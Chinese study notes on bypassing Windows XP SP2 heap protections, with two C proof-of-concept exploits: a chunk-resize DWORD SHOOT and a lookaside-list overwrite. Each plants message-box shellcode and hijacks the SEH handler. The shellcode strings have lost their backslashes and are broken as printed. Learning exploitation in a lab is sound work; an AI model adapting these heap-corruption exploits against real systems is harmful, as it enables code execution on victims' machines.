微软在堆中也增加了一些安全校验操作,使得原本是不容易的堆溢出变得困难重重:
* PEB Random:在 Windows XP SP2 之后,微软不再使用固定的 PEB 基址 0x7FFDF000,而是使用具有一定随机性的基址,从而影响了 DWORD SHOOT 对 PEB 中函数的攻击。
* Safe Unlink:微软改写了操作双向链表的代码,在卸载 free list 中的堆块时更加小心。SP2 在进行删除操作时,提前验证堆块的完整性,以防止 DWORD SHOOT:
1 int safe_remove(ListNode * node) 2 { 3 if( (node->blink->flink==node)&&(node->flink->blink==node) ) 4 { 5 node -> blink -> flink = node -> flink; 6 node -> flink -> blink = node -> blink; 7 return 1; 8 } else { 9 // raise exception 10 return 0; 11 } 12 }
* Heap Cookie:与栈中类似,堆中也引入了 cookie,用于检测堆溢出的发生。cookie 布置在堆首中原堆块的 segment table 的位置,占 1 字节:
* 元数据加密:Windows Vista 及后续版本的系统中开始使用这项措施。块首中的一些重要数据在保存时会与一个 4 字节的随机数进行异或加密,使用时再异或解密。这样就不能直接破坏这些数据了。
堆的研究者之一 Matt Conover 在 CanSecWest 04 的演讲议题 Windows Heap Exploitation (Win2K SP0 through WinXP SP2) 中,针对 PEB random 机制,指出变动只是在 0x7FFDF000 ~ 0x7FFD4000 之间,随机区间不大,在多线程状态下容易被预测出来。
而 Heap Cookie 只占 1 字节,在研究其生成随机的算法之后仍存在破解可能。
对于 Safe Unlink 也有人找到了一些破解思路。
但这些突破的思路要在 XP SP2 之后成功实施并利用,需要十分苛刻的条件,堆溢出变得难如登天。
溢出堆中的数据
但堆保护措施是对堆的各个关键数据结构进行保护,对堆中的数据不提供保护,所以攻击的第一个思路,是溢出堆中存放的关键数据结构:重要变量、数据、函数指针…
利用 chunk 重设大小攻击堆
Safe Unlink 是从 FreeList[n] 上拆卸 chunk 时对双向链表进行验证,但是,将一个 chunk 插入到 FreeList[n] 时没有进行校验!如果能伪造一个 chunk 并将其插入到 FreeList[n] 上就可以造成某种攻击。如下两种情况会发生插入操作:
1 内存释放后 chunk 不再被使用时。 2 当 chunk 的内存空间大于申请的大小,剩余的空间会被建成一个新的 chunk 链入链表中。
上述第二种情况提供了可以利用的机会。先考虑申请 chunk 的过程,从 FreeList[] 上申请空间的过程如下:
1 将 FreeList[0] 上最后一个 chunk 与申请的大小进行比较,如果 chunk 的大小 ≥ 申请的大小,则继续分派,否则扩展空间(若超大堆块链表无法满足分配,则扩展堆) 2 从 FreeList[0] 的第一个 chunk 依次检测,直到找到第一个符合要求的 chunk,然后卸载 3 分配好空间后,如果 chunk 有剩余空间,剩余空间会建成新的 chunk 并插入到链表中
这个过程中,第一种情况没有机会,第二种情况有 Safe Unlink 进行保护。但申请空间之后拆卸 chunk 时 Safe Unlink 存在一个问题:即使 Safe Unlink 检测到 chunk 结构被破坏,还是会允许一些后续的操作,包括重设 chunk 大小的操作。
首先用一段程序来观察将剩余空间的 chunk 插入到 FreeList[] 中的过程:
1 // OS : XP SP2 2 // Compiler: Visual C++ 6.0 (build release) 3 #include <stdio.h> 4 #include <windows.h> 5 6 void main() 7 { 8 HLOCAL h1; 9 HANDLE hp = HeapCreate(0,0x1000,0x10000); 10 _asm int 3 11 h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,0x10); 12 }
HeapCreate() 后,堆区初始化完成,此时只有一个 chunk 位于 FreeList[0],HeapAlloc() 申请小规模的空间后,会产生新的 chunk 并被插入到 FreeList[] 中。
int 3 之后启动 OllyDbg 观察 eax 中的返回值,指向 heap=0x00390000,FreeList[] @ 0x00390178(堆首信息参见 winheap.h)。
FreeList[0] = 0x00390178 = &(Flink=0x00390688=Blink),此时唯一的 chunk 如下(d [eax+178]-8):
00390680 30 01 08 00 00 10 00 00 0x130 0x08 0x0 0x10 0x0 0x0 00390688 78 01 39 00 78 01 39 00 flink=0x00390178 blink=0x00390178 00390690 00 00 00 00 00 00 00 00 data ..............................
关键的地方在 ntdll.dll 基址偏移 0x11513 处,是修改新的 chunk 和上一个 chunk 指针的开始,反汇编代码如下:
1 7C931513 8D47 08 LEA EAX,DWORD PTR DS:[EDI+8] ; 获取 new_chunk 的 Flink 的位置 2 7C931516 8985 10FFFFFF MOV DWORD PTR SS:[EBP-F0],EAX 3 7C93151C 8B51 04 MOV EDX,DWORD PTR DS:[ECX+4] ; 获取 next_chunk 的 Blink 的位置;ECX==old_chunk->Flink==next_chunk 4 7C93151F 8995 08FFFFFF MOV DWORD PTR SS:[EBP-F8],EDX 5 7C931525 8908 MOV DWORD PTR DS:[EAX],ECX ; 保存 new_chunk 的 Flink 6 7C931527 8950 04 MOV DWORD PTR DS:[EAX+4],EDX ; 保存 new_chunk 的 Blink 7 7C93152A 8902 MOV DWORD PTR DS:[EDX],EAX ; 更新 next_chunk 的 Blink->Flink 的 Flink 8 7C93152C 8941 04 MOV DWORD PTR DS:[ECX+4],EAX ; 更新 next_chunk 的 Blink
算法伪代码如下:
1 // 设置 new_chunk 2 new_chunk->Flink = old_chunk->Flink 3 new_chunk->Blink = old_chunk->Flink->Blink // 算法开始时 ECX 已保存 old_chunk->Flink==next_chunk,各步计算以 ECX 为线索 4 // 将 new_chunk 插入到 FreeList[] 5 old_chunk->Flink->Blink->Flink = new_chunk 6 old_chunk->Flink->Blink = new_chunk
如果事先将 old_chunk->Flink 覆盖为 0xAAAAAAAA,就会执行:
1 [new_chunk->Flink] = 0xAAAAAAAA 2 [new_chunk->Blink] = [0xAAAAAAAA+4] // read *(0xAAAAAAAA+4) 3 [[0xAAAAAAAA+4]] = new_chunk // DWORD SHOOT // write &(*(0xAAAAAAAA+4)) 4 [0xAAAAAAAA+4] = new_chunk // write &(0xAAAAAAAA+4))
以上算法中,第 3 行为典型的 DWORD SHOOT 攻击!如果事先将 shellcode 布置到 new_chunk,就可以利用 DWORD SHOOT 执行 shellcode!PoC 如下:
1 #include <stdio.h> 2 #include <windows.h> 3 void main() 4 { 5 char shellcode[]= 6 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" // overwrite h1 7 "x10x01x10x00x99x99x99x99" // overwrite header of chunk_after_h1 8 "xEBx06x39x00xEBx06x39x00" // overwrite Flink & Blink of chunk_after_h1 (EB06: jmp 06) 9 "x90x90x90x90x90x90x90x90" // overwrite data of chunk_after_h1 10 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 11 "xEBx31x90x90x90x90x90x90" // jmp 12 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 13 "x90x90x90x90x90x90x90x90x90x90x90x90" 14 "x90x90x90x90x90x90x90x8C" 15 "x06x39x00xE4xFFx12x00x00" // fake Flink & Blink (0x0012FFE4=SE Handler) 16 "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C" 17 "x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53" 18 "x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B" 19 "x49x0Cx8Bx09x8Bx09x8Bx69x18xADx3Dx6Ax0Ax38x1Ex75" 20 "x05x95xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCD" 21 "x8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBE" 22 "x06x3AxC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24" 23 "x1Cx75xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03" 24 "xDDx03x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9" 25 "x33xDBx53x68x24x20x63x78x8BxC4x53x50x50x53xFFx57" 26 "xFCx53xFFx57xF8" // 165 bytes msgbox shellcode for xp/win7 27 ; 28 HLOCAL h1,h2; 29 HANDLE hp = HeapCreate(0,0x1000,0x10000); 30 //_asm int 3 31 h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16); 32 memcpy(h1,shellcode,300); 33 h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16); 34 35 printf("press any key to continue..."); 36 getchar(); 37 38 int zero=0; 39 printf("divide operationg executing... "); 40 zero=1/zero; 41 printf("%d ",zero); 42 }
当第 33 行申请 h2 的空间时,将会执行如下过程:
1 // h2 @ 0x003906B8 2 [0x003906B8] = 0x003906EB 3 [0x003906B8+4] = 0x0012FFE4 4 [0x0012FFE4] = 0x003906B8 // DWORD SHOOT : overwrite se handler 5 [0x003906EB+4]=0x003906B8
实验过程中发现代码中第 7 行的 shellcode 有具体要求,如果填写不当会导致异常。堆这部分内容需要再花时间学习!
利用 Lookaside 表进行攻击
Safe Unlink 对空表中双向链表进行了有效性验证,而对于快表中的单链表没有进行验证。从快表中正常拆卸一个节点(chunk)的过程为:
pre_chunk->next = chunk->next // pre_chunk : previous_chunk; chunk : the chunk to remove
思路:如果控制 chunk->next,就控制了 pre_chunk->next,进而当用户再次申请空间时系统就会将这个伪造的地址作为申请得到的空间的起始地址返回给用户。用户一旦向这个再次申请来的空间写入数据就会留下溢出的隐患。
1 // os : win xp sp2 2 // compiler : visual c++ 6.0 3 #include <stdio.h> 4 #include <windows.h> 5 void main() 6 { 7 char shellcode[]= 8 "xEBx40x90x90x90x90x90x90x90x90x90x90x90x90x90x90" // EB40 : jmp 0x40 9 "x03x00x03x00x5Cx01x08x99" // header of next_chunk 10 "xE4xFFx12x00" // next_chunk->next (0x0012FFE4=default se) 11 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 12 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 13 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 14 "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C" 15 "x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53" 16 "x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B" 17 "x49x0Cx8Bx09x8Bx09x8Bx69x18xADx3Dx6Ax0Ax38x1Ex75" 18 "x05x95xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCD" 19 "x8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBE" 20 "x06x3AxC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24" 21 "x1Cx75xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03" 22 "xDDx03x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9" 23 "x33xDBx53x68x24x20x63x78x8BxC4x53x50x50x53xFFx57" 24 "xFCx53xFFx57xF8" // 165 bytes msgbox shellcode for xp/win7 25 ; 26 HLOCAL h1,h2,h3; 27 HANDLE hp; 28 hp = HeapCreate(0,0,0); // enable lookaside table 29 //_asm int 3 30 h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16); 31 h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16); 32 h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16); 33 HeapFree(hp,0,h3); // free to lookaside table 34 HeapFree(hp,0,h2); // free to lookaside table 35 memcpy(h1,shellcode,300); 36 h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16); // alloc from lookaside 37 h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16); // alloc from lookaside 38 memcpy(h3,"x90x1Ex39x00",4); // h3=0x0012FFE4=se, 0x00391E90 = h1 = shellcode[] 39 int zero=0; 40 zero=1/zero; // raise exception, call se handler 41 printf("zero = %d ",zero); 42 }
看到 tombkeeper 用 WinDbg 中的命令行,才发现 OllyDbg 有 CommandLine 插件,很好用!几乎能只用键盘来操作了,当 eax 指向 heap 时,能直接 d [eax+178]-8 省了不少麻烦 ~_*